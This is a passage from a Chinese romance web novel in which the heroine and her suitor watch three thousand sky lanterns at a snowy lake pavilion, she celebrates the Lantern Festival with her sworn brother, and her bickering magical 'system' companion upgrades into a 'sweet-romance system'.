明明是清冷的味道,却让人越发深陷,她渐渐松开了手,但仍咬紧了牙关不肯再发出一点声音。
郎君玩腻了耳垂,又发现了新颖的东西。
姑娘身上的披风不知何时落在了地上,修长白皙的脖颈裸露在空气里,郎君可见不得这画面,当即肆意妄为了起来。
姑娘已如溺水的鱼,大口大口喘气,压抑在心底最原始的欲念不断挑拨着神经。
郎君又挨上了她小巧的耳垂,低着声音道:“阿吟,外头听不到的。”
风声疏狂,仿若人的低声吟唱。
船外船夫的歌声未停,船里某个姑娘的轻吟令人极致沉迷。
50. 三千灯火
船夫歌声停止的那刻,姑娘的轻吟也戛然而止。
久违的空气令她重新活了过来,她躺在他怀里,大口大口地呼吸,眼神迷离,似还沉浸在极乐世界里。
郎君拿出一块方帕擦了擦手,姑娘有气无力道:“姜泊清,我……要水。”
她快渴死了。
“要什么水?”他逗道。
沈秋吟拍了他一下,“正经点,可做个人吧。”
这人是越来越不正经了,和从前风光霁月的郎君相比,一个在天,一个在地。
似乎怕她生气,姜泊清不敢造次,老老实实拿起竹筒,倒了一杯水。
她接过,窝在他怀里大口大口喝。
因着喝得急,杯中水洒了一些出来,顺着她的嘴角,流向下颚。
姜泊清翻开方帕干净的一面为她擦掉。
沈秋吟喝完一杯还不满足,将杯子递给他道:“还要。”
他又拿起竹筒为她倒上。
反复喝了几杯水后,沈秋吟活了过来,挣扎着要坐他对面去。
姜泊清不肯,哄道:“好秋吟,让我抱抱嘛!”
他喜欢抱着她,这样才有真实感,空乏的内心才能被填满。
沈秋吟拗不过他,也不白费力气了,随他去。
两人静静地坐着,谁也没说话。静谧间,只听得见湖水的声音。
或是因为风的缘故,这船摇摇晃晃,驶的并不平稳,她打了一个哈气,生了困意。
她动了动,找了一处舒服的姿势,合上了眼眸,安然入睡。
会见周公的那刻,她想,早知道就不来了,真是遭罪呀!
船不知行驶了多久,终于靠岸,怀中的姑娘还未醒转,睡得正香。
姜泊清小心翼翼将她放下,拉了拉她身上的披风,将她盖住,避免着凉。
他轻手轻脚走了出去,船夫坐在船头,抱着撑竿,阖眸假寐。
姜泊清拍了拍他的肩头,船夫醒转,扭头看他,问道:“怎么了,郎君?”
他道:“有一事想清你相助。”
“何事?”
姜泊清蹲下身子,向他招了招手,船夫心领神会,朝他靠了靠。
他俯身,贴在船夫耳畔嘀嘀咕咕了一阵,船夫露出为难的神情。
郎君所求之事儿,在这深更半夜里难如登天,他一个船夫,还真不一定能办成。
姜泊清自然知晓这事于他而言不是那么容易办到,可是世间事,只要敢想,便能做。
他自腰间解下一袋银子,扔给他:“有钱能使鬼推磨。若这事办成,除了一来一回的船费,还有额外的银钱奉上,保管你一年都不用划船。”
一年都不用划船!
那得多少银子啊!
船夫的眼睛都亮了,也不管事儿难不难办了,连忙应道:“郎君等着我的好消息。”
只要钱到位,再难的事儿也能办下来。
姜泊清又回到船里,沈秋吟还睡着。
他蹑手蹑脚将待会儿会用上的毛毡、炉子、炭火以及一些杂七杂八的东西搬上湖心亭。
放好后,他又回船里抱起她走了出来,乍然脱离温暖,夜里的风冷的让她一激灵,直往他怀里藏。
他抱着她上了岸,船夫撑竿远离。
上了湖心亭,四面皆是湖水,若是白日还能见湖中不怕冷的鱼儿冒出水面跳跃两下。
但黑夜里,什么都没有。
不过暖黄灯火照在一起一伏的水中,到像一大块亮闪闪的金箔,看着也算有趣。
他寻了一处干净的地方将她放下,把从船上拿下来的毛毡铺在地上,又拿炉子烧了碳,搁上铁网,温了酒。
做完这些,他抱着沈秋吟坐在毛毡上,将灯笼搁置一旁。
她不知梦见了什么,蹙起了眉,他见了,伸手抚平。
明媚灿烂的姑娘,只能笑,他见不得她有一丝难受委屈。
她呓语一声,他没听清,俯下身,侧着耳问:“什么?”
她不说话,翻了个身继续沉睡,似是不经意间的一声可有可无的呢喃。
姜泊清无奈地摸了摸她绵密的头发,取了一缕,绕在手指上,一圈又一圈。
说来湖心亭的是这小娘子,在湖心亭睡觉的也是这小娘子。他就不该听她的话,大晚上来这湖心亭。
幸亏不是夏天,是冬天,否则非得喂蚊子不可。
“唉……”他点了点她的鼻子,说道,“你呀你。”
越是深夜,越凉。
沈秋吟冷了,就往他身上靠,他像一个大火炉似的,只要一靠近,就没了寒意。
姜泊清干坐着无聊,喝起了炉上温着的酒,一双眸子低垂,遮掩了光芒,不知想些什么。
酒也是从船上拿下来的,不是什么名贵的酒,可喝着别有一番风味。
他有一口没一口喝着,过了一会儿,抬起了眸子,时而看山,时而看水,时而看她。
夜晚的山看不见颜色,只有连绵起伏的轮廓,远远看去,像泼墨而成。
湖中之水被漆黑的天幕同化,上下一线,皆是同样的颜色。
怀中的她,只露侧颜,额、鼻、下颚连成线,标准的瓜子脸。
他低垂着眸子看着她,又伸手摸了摸她的脸颊。
她动了动,竟枕在了他宽大的手掌上,蹭了蹭,如撒娇一般。
又不知过了多久,久到姜泊清半边身子都麻了时,沈秋吟终于悠悠地醒转了过来。
她睁开惺忪睡眼,坐直了身子,看了看四周,问道:“这是哪儿?”
姜泊清答:“湖心亭。”
她的意识一下子清醒了过来,视线也清晰起来,只见八面皆是湖,每个方向所见之景都不同。
东面是山,起起落落,高的能入天际,人一登上去,仿佛危楼高百尺,手可摘星辰;低的接近湖面,就像一个小山丘,只要下一场雨,湖水就能漫过它。
西面是湖堤,湖堤上种着梅,它凌寒而放,傲立枝头,丝毫不俱冬的肃杀之气,悠然自得。
这便是传说中的湖心亭吗?
好像……也不咋滴。
说是湖心亭还真是湖心建了一处亭子,与她想象中的样子完全不一样。
这也太磕掺了吧!
沈秋吟看的嘴角直抽搐,姜泊清道:“后悔了?”
“嗯……咋说呢?”
路是自己选的,含着泪也得走下去,不是吗?
唉……
沈秋吟看了一圈,湖心亭的风光也算领略,难怪船夫要说相公“痴”,原来这痴不是痴迷的痴,而是痴傻的痴,真真是上了当了。
瞧见姑娘眼中闪过的一丝悔意,姜泊清笑道:“下回还来吗?”
沈秋吟想了想,答道:“来吧,毕竟这是咱俩第一次正儿八经到一个地方,还是很有纪念意义的,就是……咱该怎么回去?”
她望了望,没见着船夫的影子,莫不是走了?
那他们该怎么办?
今夜难道要宿在这亭子里?
不行不行,这可不行,若宿在这里,第二日世上便没姜泊清和沈秋吟了,只有一座冰雕和另一座冰雕。
沈秋吟的心悬了起来。
但姜泊清的话打消了她的害怕,他说:“回去了,会回来的,不会让你宿在此处。”
她松了口气,拍着胸脯叹道:“那便好,那便好。”
姜泊清见她这样子,忍不住笑了笑。
既来之,则安之,她也认认真真赏起了风光。
只是湖心亭看雪,这是文人志士才会懂的雅趣,沈秋吟一个经商的,虽然也读了些书,但看着那雪还是雪,一点瑰丽的想象也没有。
果然,文学家的脑子不是人人都有。
她本还想在姜泊清面前卖弄卖弄文采的,如今想想,还是算了,就不丢这个人了。
姜泊清放下酒杯,也站了起
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来,与她并肩看雪。
此时不知吹的什么风,雪飘进了亭子里,落在了他们的发丝上。
沈秋吟轻轻拂去,姜泊清却道:“今朝若是同淋雪,此生也算共白头。咱们这算不算到白头了?”
“不算,”沈秋吟停止了动作,抬头看他,“此生很长,今朝同淋雪便是白头,岂不可惜?”
“我们会有白头吗?”姜泊清无端生出了茫然,他怕与沈秋吟只是露水的姻缘,等不到白头。
“自然有。”她笃定。
“当真?”
“当真。”
得了她一句准话,那些茫然、无措瞬间消失,内心里只剩与她执子之手,与子偕老的坚定。
船夫不知何时才会回,雪景看多了也就累了,他们又坐在了毛毡上,有些无聊。
姜泊清问道:“要喝酒吗?”
沈秋吟顿了顿道:“喝吧!”
自从上回与李保德喝了个酩酊大醉,于堂里学着刘备关羽他们结拜后,她就戒了酒,怕再闹出那样的笑话。
而今夜因着姜泊清在身侧,她难得破例,小酌起来。
可她不胜酒力,才喝三两杯就醉了,喋喋不休念着一些奇怪的话,姜泊清听不懂,只以为是她喝糊涂了。
她一喝酒,身体就绵软,渐渐靠在了姜泊清身上,时断时续道:“姜泊清,咱们似乎没认认真真看过一回花灯。”
如果那句逗弄是真,除了簪子外,他们还会看一场花灯。
灯火辉煌,花灯各异,行走其间,两情相悦的人呀,该有多快乐?
可是,如今簪子在髻,花灯却还遥遥无期。
“真后悔呀!如果当初不逗你该有多好呀!”
这是沈秋吟头一次生出这般大的悔意,恨不得时光可以倒流。
姜泊清却道:“想看吗?”
沈秋吟微微抬头,看他,傻乎乎道:“想看就能有吗?”
“自然。”
他话音方落,从四面八方竟然升起了灯火璀璨的孔明灯。
她惊了一下,坐直了身子,似是不敢相信。
三千灯火照亮了湖面,也照亮了她的面容。
“姜泊清,这——”
他笑道:“湖心亭没有花灯,便只好叫这孔明灯来充数了。”
如此也算圆了一场遗憾。
沈秋吟站了起来,走向凭栏,每一盏冉冉升起的孔明灯上都有墨色的字。
每一字连在一起都是一句祝福的话。
三千灯火,暖光黑字,如无数繁星,点亮城南桥头。
这是姜泊清送给她的独一无二的花灯,独她一人可见的花灯。
她眼眶湿润,潸然落泪,哽着声音叫他的名字。
他温柔地拭去她的泪水,轻声说:“快许愿。”
“好!”
她合上眸子,冯延巳的《春日宴》浮现脑中,她朱唇轻启,念着——
春日宴,
绿酒一杯歌一遍,
再拜陈三愿。
一愿郎君千岁,
二愿妾身常见,
三愿如同梁上燕,
岁岁长相见。
音落,她睁开眼眸,姜泊清说:“好词。”
沈秋吟道:“只是词好吗?”
“自然是意更佳。”
唯愿此生,岁岁相见,白头不离。
此时船夫泊船靠岸,拱手道:“郎君满意否?”
姜泊清看向沈秋吟,低头问:“满意否?”
沈秋吟答:“满意。”
这是她长这么大看过的最为别致的花灯,无论以后是否会情景重现,这一场都会永远值得她铭记。
后来,沈秋吟于纸上写下——
西崤六十九年,余住濮阳,大雪连绵,往城南桥头看雪。入亭中,雪景奇特,但无惊艳。却于醉酒之时,得见三千明灯。
这是姜泊清独送她一人的三千灯火。
51. 泊清呀,好福气!
上元节那日百膳楼放假,小二们阖家团圆去,姜泊清也要赴皇宫夜宴,楼中独剩沈秋吟一人,颇为冷清。
长安街上,却是灯火辉煌,鞭炮齐鸣,来往行人,俱带笑意。
小贩们的呦呵声更是一个接一个,连绵起伏,没有停过。
沈秋吟瞧着摩肩接踵的人群,打消了出去的念头,合上门,搬了一张摇摇椅,坐于腊梅树下。
淡黄的腊梅一簇簇绽放枝头,若有若无的清香,令人心旷神怡。
云层浮动,遮了一半圆月。
月光如薄纱,落在庭院里,似水,枯树倒映,犹如藻、荇交横,更或是疏影横斜水清浅,暗香浮动月黄昏。
习惯了喧嚣,突然冷下来有些不适,总觉得少了些什么,心间空旷。
沈秋吟没来由地唉声叹气,都走了,就剩她一个人了。
孤家寡人,没人爱,没人疼,犹如地里小白菜,风那个吹,雨那个打。
沈秋吟越想越悲戚,哀叹声一声更比一声长。
“所以,我不是人,我是鬼吗?”久未露面的系统突然出声了。
“哎呀妈呀。”
沈秋吟吓得跳了起来,初时没反应过来,真以为见鬼了,淡定下来后,才想起是久未搞事儿的系统。
“你,你,你这是去哪儿鬼混回来了?”
系统嘿嘿一笑:“你猜?”
“猜?”沈秋吟摇摇头,“我不猜!爱说不说!”
她不好奇,一点都不好奇。
系统冷哼一声:“啊!无趣的女人。”
一点都不配合。
“我就这么无趣,有本事你打我呀!”沈秋吟对它做了个鬼脸。
系统尽量维持平和道:“去见主神了。”
主神?这个词有些新鲜,乍一听不懂,仔细一听还是不懂。
系统解释道:“你可以理解为人间的皇帝。百姓由皇帝管,我们系统也得有人管。管我们的称之为主神。”
“嗷嗷,这样,”沈秋吟懂了,皱着眉头,“你去见它做什么?”
莫不是又要搞什么鬼把戏,整得她上串下跳?
“你还记得上次姜大人带你去灯会,咱们跑到一个巷子里,我说磁场不对,突然下线的事吗?”
“记得。”
在那个巷子里,又是黑猫啼叫如婴孩哭泣,又是黑影重重,如百鬼夜行,如斯恐怖,印象自然深刻。
“有什么问题吗?”
“主神告诉我,咱们所见为真。”
“啥,啥,啥意思?所见为真!”
那岂不是真有百鬼夜行!
而这世界上真的有鬼!
沈秋吟汗毛竖了起来,后背凉飕飕的。
“那,那,那城隍庙上吊的死尸……”
莫非也是真?
沈秋吟瞪大了眼睛。
系统道:“这个是假的。这是迷迭香带来的幻境。只有巷子里的是真的。不过,并非是鬼。”
“那是什么?”
不是鬼,岂非……岂非……她想不出来。
“是死人,那个巷子里有死人。不过这个死人被道士用法阵震住了,永世不得超生,所以磁场不对。而我们所见的重重黑影,是它想要冲破法阵的怨念。”
“按理说怨念不应该成形,估计是有人在招它的魂,而它又冲破不了法阵,所以才成型。”
死人?
道士!
怨念?
法阵!
这些字她都认识,可连在一起,硬是一个字也没听懂。
玄乎了,这世界真的玄乎了。
沈秋吟不明白。
系统道:“你不明白很正常。要知道,玄学古老而神秘,一般人是参不破的。”
“嗯——”,沈秋吟点点头,“你说得对,所以死……”
她正要问明白死人是怎么回事,但被突如其来的敲门声打断。
刚刚听了那故事,黑影又在脑中浮现,沈秋吟心惊了一下,莫不是念着曹操,曹操就找上门了?
“怎么办?我,我,我怕,不,不敢开门。”沈秋吟吓得连舌头都捋不直了。
“我,我,我也怕。”系统同样颤着声道。
敲门声还未停歇,沈秋吟大着胆子问道:“谁,谁呀?”
说话就是人,不说话就是鬼!
沈秋吟已经做好了求诸天神佛保佑的准备,幸而门外人道:“妹子,是我,你哥。”
这雄浑的声音一听就是李保德,沈秋吟松了一口气,紧绷的身子软了下来,跑过去打开门。
“你咋来了?”
“自然是来陪你过上元。”
他提着东西往里走,边走边说:“看!西域来的羊肉,今晚上哥给你露一手。”
沈秋吟凑过去一看,羊肉上还带着血丝,想来是才割下来的新鲜肉。
羊肉味美,可膻味重,沈秋吟未离太近,膻味就往鼻里钻了,她受不了这味道,连忙捂住鼻道:“我可不喝羊肉汤哈!”
羊肉炖白萝卜,味道极鲜,但这样羊肉的膻味就被保留了下来,若是闻不惯的,喝一口保证胃里翻江倒海。
而沈秋吟就是这样的人,以往别人吃羊肉,她都躲得远远的。
羊肉呀,她只接受炙烤。
李保德道:“肯定不是羊汤。咱们撸串。”
撸串!沈秋吟黯淡的眼眸亮了起来,这个好,这个好!羊肉串的美味,无人能及。特别是一把孜然撒下,香味更是一绝。
系统听见“撸串”二字,不经忆起从前,颇为怀念道:“犹记当年宿主初来,还想过靠撸串发家致富的。”
提起这,沈秋吟没好气道:“你还好意思说!我当时做啥你毁哈,气的我牙痒痒!恨不得羽化登仙,打你一顿。”
系统讪讪道:“这可不怪我,我名反骨!”
所谓反骨,自然是与人反着来啦!
哈哈哈!
沈秋吟给了它一个假笑,转头帮李保德处理羊肉。
李保德制止道:“你去旁边坐着!往日都是哥吃白食,今日也让你吃一回,让你尝尝哥的手艺。”
“哥可不是吹牛,我这一手烤串的技术,在蜀地,我称第二没人敢称第一。”他满脸骄傲。
哦莫!这厉害的!
沈秋吟十分配合地鼓掌:“好厉害,好厉害哦!所以……白月光是怎么回事?”
她本意是想夸他的,只是突然想起了那久远的白月光。
“这白月光呀就是——”
沈秋吟竖起了耳朵,屏息凝神,静待他的下文,李保德察觉了过来,刹住了车,蓦然吞音。
他转了话题,眨巴眨巴嘴道:“说起这撸串呀,还得夏日。一杯清酒,一口串,不羡天上,只羡人间。”
“李保德!咱就说男人的嘴太严实了不好,得松一点!”
“妹子!咱就说能不能别问,这是一段伤心的往事。”
既是伤心往事,让他说岂非自揭伤疤!
沈秋吟懂了,颇为愧疚道:“当我什么也没问。”
李保德笑道:“感谢妹子通情达理,一会儿必须给你安排得巴巴适适勒。”
巴巴适适是蜀地话,用濮阳话讲就是“安排好”的意思。
见他吹得这么牛,沈秋吟也期待起来,“行嘛!我等你安排。”
“好勒!”
音落,他开始处理起了羊肉。
羊肉上有血丝,先用清水洗净,而后将洗净的羊肉切成小块装在盆里,加入一系列佐料去腥,便放在一旁腌制。
腌制过的羊肉会更加入味,这是做烤串必不可少的一步。
他在厨房里头忙碌,她也没闲着,搬出炉子,烧了碳放进去。
也不知道姜泊清在宫里如何了。
一想到他,就想到了三千灯火。
那一夜的明亮,让人久久也不能忘。
“哟,”系统打趣道,“我才走了几日,你这与姜大人突飞猛进呀!以前十天半个月想不起他一回,现在才过多久,就开始想他了。”
“我就想他,你管得着么!”沈秋吟和一般姑娘不一样,脸不红,心不跳,反而理直气壮,才不怕它打趣呢!
“是是是!”
这个女人脸皮之厚,无人能敌,可系统关心的才不是这个,它关心的是:“宿主啊,我偷偷问一句,你喜欢姜大人吗?”
沈秋吟想也未想答道:“自然是喜欢。”
若不喜欢,她也不会答应与他试试。
“可是,你们在一起后,你从未对他说过‘喜欢’二字。这是为何?”
“因为,”沈秋吟叹了叹气,有些伤怀,“因为怕伤他。”
那时一句“姜大人我喜欢你”伤他太深,她怕再说喜欢,会让他再度以为自己是戏弄他。
“但你不说,姜大人又怎会知晓你的情意。你不怕姜大人会心生怀疑?觉得你只是因为感动才和他在一起的?”
“我没想过这个问题。”沈秋吟如实说。
“宿主,我觉得你听我的,咱该说还得说。喜欢要大声讲出来,被喜欢的人才会知晓。”
“嗯——,有道理,”喜欢就是要说出来,但沈秋吟话锋一转,“可我就不说!”
“你!”系统若有拳头,此时已经硬了。
枉它细心教导,看来都是白费心思,不上道呀,不上道,咋这么不上道呢!
气死了!气死系统了。
系统呼呼地发出电流声。
“哟,生气了?”沈秋吟调笑道。
系统气呼呼地冷哼一声,不理她。
这个不识好歹的坏女人!
沈秋吟笑嘻嘻道:“知道这叫什么吗?”
“嗯?”
什么叫什么?
系统
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不是很明白。
沈秋吟揭晓了答案:“这叫反骨,跟你学的。”
反骨?
“啊!咱们能一样吗?我是真反骨,你是假的!而且我从来没教过你这样!”
呜呜呜!
宿主欺负人,它要辩论。
沈秋吟微微一笑,与它一战。
他们过嘴上功夫的时候,李保德拿着串好的羊肉出来,搁在炉子上烤了起来。
因着这个,沈秋吟叫停,跑去他旁边准备打打下手什么的。
但手都还没挨着边,李保德就道:“用不着你。烤串的时候油烟大,你往旁边去,免得熏着了。”
他这是铁了心不要她帮忙呀!
好吧,沈秋吟也不强求,拿起锄头挖酒去。
“不都说戒了吗?”系统道。
“嘿嘿,今日上元,一年只有一回,当然得喝点。”
“呵!女人!”
真真是言而无信。
“略。”
才不管它。
“哼!”
臭女人!
沈秋吟搭理它,卖力挖着土,没一会儿,酒壶的轮廓显现出来。
这里有不少酒,她蹲下身子选了两壶度数低的酒,又将挖开的土悉数埋回去。
弄好后,她把锄头搁回原位。
反正也没事做,她又躺在了腊梅树下的摇摇椅上,目不转睛看李保德烤串。
他吹得厉害,但还真有两把刷子,动作娴熟,羊肉串在他手上烤得滋滋冒油,焦而不糊。
腌制过的羊肉已经没什么膻味了,又加上重油重辣,膻味更是去得无影无踪,只有一股浓郁的香味,叫人忍不住咽口水。
嫩红的羊肉遇上烈火,不一会儿就变成了深色,颜□□人。
李保德仔细看了看,确定都熟透了后,撒上一把芝麻,又加上葱花,色香味此刻俱全,沈秋吟不停地吸鼻子。
从前只有她馋别人的份,今日轮到别人馋她,这滋味真不好受,她已经按捺不住性子,迫不及待要吃肉了。
她舔舔了嘴唇,目光炯炯有神,随着李保德的手移动。
终于,第一把烤串上了桌,沈秋吟急匆匆拿了一串咬上了一大口。
才烤好的串还有烈火余温,烫得人难以下嘴,沈秋吟却跟饿死鬼投胎,宁愿忍着烫呼气也不愿吐出来。
李保德见了,拆开一瓶酒放到她眼前,沈秋吟迅速拿起喝了一大口,冷冰冰的酒水遇到热辣滚烫的羊肉,两者的温度得到综合,她总算咽了下去。
“可烫死我了!”
就差一点,嘴里就要烫起泡了,还好李保德递上了一瓶酒,不然完都完了。
李保德笑道:“谁让你猴急猴慌的。”
“这不是哥哥您手艺好,给我馋得流口水了嘛!”沈秋吟夸他的时候还不忘拍上一个马屁。
哎哟,这妹子真会夸!
李保德笑的嘴都咧到脑后,忙道:“好吃多吃,好吃多吃。”
沈秋吟不说话,用行动回应他,很快干完两根串,接着拿第三根。
相较于她的速度,李保德慢多了,咬上一口串,还要喝上一口酒,看着十分悠闲。
沈秋吟吃得差不多时,慢了速度,也拿起酒来。
李保德一副追忆过往的模样,悠悠地道:“咱们也算结缘于酒了。”
“是。结缘于酒,”沈秋吟点头,“若没有那晚的酒,咱们还成不了兄妹。”
李保德笑了起来,举起酒壶,与她说:“喝一个。”
沈秋吟拿起酒壶,与他碰了一下,瓷壶与瓷壶相挨发出了清脆的响声。
他们同时仰头,喝了一大口酒,对对方的情谊,尽在不言中。
系统忽然发声道:“宿主,酒是什么味儿。串儿又是什么味儿。”
沈秋吟撑着头,红着脸颊,打了个酒隔,慢吞吞道:“酒是醇香的,串儿是辣的。”
“好喝,好吃吗?”
“自然。”
她又端起酒壶喝上一大口,呼噜呼噜气道:“不过呀……”
她说起了乱七八糟的话,系统知道,她醉了。
李保德也没好到哪去,两人醉醺醺的又演起了桃园三结义。
没眼看,没眼看,真真是没眼看。
系统下了线。
沈秋吟和李保德各拿一双筷子,正欲拜下去时,忽地又响起敲门声。
她扔下筷子,醉乎乎地走过去打开门,定睛一看,竟然是姜泊清。
姜泊清的身后还站着一个老者,可沈秋吟管不了那么多,她眼里只有眼前的郎君。
或是酒意上头,她扑进了他的怀里,娇声娇气道:“姜泊清,我喜欢你,真的真的。”
姜泊清一愣,他身后的老者似是被呛到了一般,咳嗽个不停。
而后拍了拍他的肩,意味深长道:“泊清呀,好福气!”
52. 狗改不了吃屎
灰蒙蒙的天渐渐透亮,火红的朝霞似水墨晕染,将云变幻成各种颜色。
沈秋吟睁开眼生无可恋的望着屋顶,脸色不怎么好看。
她知道自己昨晚又丢了好大一个脸,可她来不及回忆昨晚究竟都做了些什么,一心只在系统的话上。
那是一道纯白的光,蓦地就在脑海里炸开了。这样圣洁的光芒,她见过一次,就是她成为浪下亡魂,绑定系统那回。
她还没反应过来,机械冰冷的声音响起,系统念道:“宿主触发关键词,反骨升级——”
关键词?
反骨升级?
我去,它还会升级!
沈秋吟漂亮的眸子里写满了不可置信,像是听到了多么惊世骇俗的话。
她咽了咽口水,脑中仍是白光一片,光中心有丝丝蓝色,淡的让人足以忽视。
头一次知晓系统还会升级,沈秋吟暗道稀奇,真是稀奇!
她隐隐期待起来,想知晓升级后的系统会是怎样,但这样的期待还没维持半刻,便被突然闪现的回忆打破。
那是系统从前做的恶事,她做什么,它都唱反调,弄得她一事无成。
担心胜过了期待。
本来系统就癫,从前将她折磨得不成人样,升级后会不会更癫,直接叫她死无葬身之地。
依照系统的狗性,她觉得很有可能。
思虑到这儿,沈秋吟不经吓出了一身冷汗,连汗毛都树了起来,连声叫停:“你能不能停下来!”
现在挺好的,她不需要更高级的系统。
升级已经开始,停是停不下来的,回应她的是一串冷冰冰的电流。
白光渐弱,系统的声音与从前傲娇的少年音不同,十分深沉,与成年男子的嗓音有几分相似。
“系统14843升级成功。”
“甜文系统加载中。”
“甜文系统加载成功。”
“甜文系统绑定宿主。”
“甜文模式正式启动。”
随着它声音落下,白光也消失了,系统的声音又恢复到从前,它笑着道:“甜文系统14843为您服务。”
“甜文?这是啥!”
沈秋吟觉得这名字很雷。
系统夹着声音道:“自然是甜甜的恋爱咯,简称甜文哦。”
果然很雷,雷得沈秋吟两眼一黑,昏了过去。
系统吓了好大一跳:不带这样碰瓷的!人家现在很甜的哦!
后面的事情她一概不知,因着醉酒,睡得格外香甜,甚至还做了一夜美梦,不愿醒来。
然而,大都好物不坚牢,彩云易散琉璃脆。
梦醒时分,浑浑噩噩,记忆涌现的第一刻,沈秋吟喊道:“狗系统,滚出来!”
清冷地少年音响起,系统认真道:“请宿主注意措辞,系统不是狗,禁止侮辱、禁止人身攻击。”
久违的话术,让她不经又忆起了从前斗智斗勇的时候,但现在是搞回忆的时刻吗?显然不是。
沈秋吟疑惑道:“你这个甜文系统究竟是干什么用的?”
反骨是与她对着干,这个甜文便有些鸡肋了。
系统答道:“名义上帮你谈恋爱用的。”
“啥?”沈秋吟惊了一下,“帮我谈恋爱?”
系统“嗯”了两声。
沈秋吟不解:“恋爱还需要指导?”
“别人肯定不需要,但宿主的智商我觉得需要!”
“请你做个人!”沈秋吟虚假地笑了笑。
“我也想,可我生来就是机器!”
“那就做个好机器吧!”
她是不会谈恋爱,但系统不能这样怼人!
她不要面子了?
“系统没对怼哦,系统说的是实话!”
“你——”
沈秋吟咬紧了牙关,“给我等着!”
“等着就等着!”系统说完,还不忘挑衅。
两人的战火一触即发。
升级后的系统明显变聪明了,若是吵起来,或许占不到优势,有骨气的沈秋吟当即决定岔开话题,讨好道:“尊敬的系统大人,请问这个甜文系统是个怎样的操作方法呢!”
念着她态度良好的份上,系统大人不计小人过,也心平气和道:“和以前一样,只是某些东西变了。”
沈秋吟咯噔了一下,生出一股不好的预感。
又是甜文,又是帮她谈恋爱!
不会要她对姜泊清做什么吧?
她脑中浮现各种面红耳赤的画面,羞得自己都发出了嫌弃的声音。
系统唉了一声,赶忙叫停:“没那么污!”
这个登徒子!
她尴尬一笑,继续发问:“若没完成还会被雷电警告吗?”
忆起电流的滋味,沈秋吟后背一激灵,连忙摇摇头,若有这个,她就是死也会完成任务的。
沈秋吟已经做好了心灵建设,怎知系统答道:“不会。”
“嗯?”
她挠挠耳朵,怀疑听错了。
系统道:“只会一命呜呼!”
哦豁——
她就知道!
狗系统哪里会善良,它只会越来越狗!
真想一把掐死它呀!
感受到宿主怨气,系统忙道:“淡定淡定!升级后还是有不一样的。从前完成任务没有奖励,这回有奖励。只要宿主按照要求做,就可以获得积分,积分足够后就可以实现愿望!”
愿望?这到有点趣!
“什么愿望都可以吗?”沈秋吟两眼放光。
发财!她要发财!
她已经做起了美梦,不过系统接下来的话叫她瞬间清醒。
它说:“只能实现一个愿望。”
沈秋吟伸出手指,比划道:“一个!”
“嗯嗯!”
“你葛朗台吧!”
啊!真丫的一毛不拔!
发财的美梦做不了了,沈秋吟失落起来。
系统安慰道:“你或许可以许愿回家?”
回家……!
回到原本的世界。
可那个世界没有家!
而这里有姜泊清。
沈秋吟沉思了片刻,心头渐渐生出一抹悸动,那是她初到这个世间时最想实现的愿望。
她迫不及待问系统:“任务什么时候颁布?”
“系统也不知道,主打一个随缘!”
“呵呵!”沈秋吟干笑两声,想掐死它的想法越发重了。
系统弱弱道:“咱就说……别这样!这也不能怪系统,系统设定如此!没办法!”
“你可闭上嘴吧!”
她现在心烦意乱,思绪散得没边。
心烦的女人惹不得,系统深谙这个道理,灰溜溜地下线,生怕走晚了一步,宿主拿它出气。
沈秋吟下了床,坐在凳子上,觉着哪里不对。
她单手撑着下巴,想得越发仔细!
蓦地一激灵,反应过来!
不对,不对,这剧情发展的方向不对!
一时间从前的点点滴滴被她翻了出来,从零散的只言片语中她找到了蛛丝马迹。
她怒道:“狗系统,滚出来!”
系统忙不迭是上线,颤着音道:“宝……又咋了……”
沈秋吟沉着脸道:“你老实告诉我,很长一段时间你都提起姜泊清,是不是和升级有关?”
在她与姜泊清还只有几面之缘时,狗系统就开始有意无意提起姜泊清,当时她没在意,如今想来,它那时的语气奇奇怪怪的,就是图谋不轨。
系统心虚地笑了笑:“宿主真聪明!”
这无疑坐实了她的猜疑。
这一瞬,无数情绪涌上心间,搅得她疼痛不已。
她咬了咬唇,忍着疼道,“他对我的喜欢也是因为你的控制吗?”
她总叹世上怎有如姜泊清这般痴情的儿郎,将她视若珍宝,可现在,他的喜欢或许并非出自本心,而是因为某些不可抗力,一想到这,她难受得抓住了胸前的衣服。
宿主的猜想令系统吓了一跳,差点宕机。
反应过来后,它连忙否认,着急解释道:“不不不!这可不是!我承认任务颁布与升级有关。但系统只与宿主相连,无法控制他人。姜大人对你的喜欢是真的,那是他最真挚的情谊。系统反复提起他,是因为检测到宿主对他也有心动。”
它只是机器,无法控制人的情感。
人的情感自生出的那刻,就连人本身也很难控制!
姜泊清的喜欢是真的,他眼里、心里,都只有沈秋吟,沈秋吟的心动也是真的,她只是心大,没有注意。
而系统只是按照宿主心意,加速情感的促成。并不会对他人的感情产生影响。
“真的吗?”
“当真!当真!绝对当真!你若不信,我可以拿主神发誓。若我所言有假,便叫我永远消失在天地间。”
每个系统都由主神缔造,拿主神发誓相当于人拿父母发誓。
人的誓言或许不会实现,但系统的誓言一定会实现的。
“宿主,信我!我不骗你!真的真的!”
她松开手,茫茫然问道:“我……那我何时心动的?”
系统一笑:“宿主或许不相信,但事实如此,初见即心动。”
她想起了那日篱笆小院里的第一面,郎君虽然冷着脸,但依旧叫她看呆了。
世上怎有这般俊美的人?不似俗尘里的,到像是天上来的。
原来,那般早就动心了。
“只是——,当真是一点也没察觉。”
“说得你后头察觉了似的!”系统忍不住抱怨道,“你想想我从前暗示的多么明显。而你呢!你觉得我在同你唱反调!”
说起往事,系统就气的牙痒痒,“还有那次灯会。我跟你说了一大段话,将他的意图都告诉你了。可你说我在骂你,把我怼的苦不堪言!”
沈秋吟想起了那次,辩解道:“你说了个啥?发出来的都是哔哔声!你还好意思说!”
“系统不能干涉宿主,不能引导宿主做选择。我当时憋不住,想说姜大人做的那些都是因为他喜欢你。这存在违规,当然会被主神自动哔哔!这是系统禁令。”
“这……!”骤然得知真相,沈秋吟稍稍一愣,而后底气不足道,“这谁知道!”
系统叹道:“幸好姜大人开窍,不然现在你都还没开窍!”
“怪我咯。”
“肯定怪你!”
系统又叽叽喳喳吐槽了一遍她从前所做的烂事,沈秋吟最怕旧事重提,羞的恨不得挖个地洞钻进去。
耳听着它越扒越多,沈秋吟抓住了个缝隙转移话题:“你不是反骨吗?怎么会升到甜文?”
她不是很理
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解,反骨和甜文,风马牛不相及,这两怎么能掺合到一起?
现在系统们也流行杂交么?
“唉,”系统叹了好大一口气,“每个系统都有初级和终极两种形态。我的初级形态就是反骨,按理说升级后也应该是反骨。但主神塑造我的时候喜欢看甜文,所以我的升级版就成了甜文系统了。不过……其实也还好……”
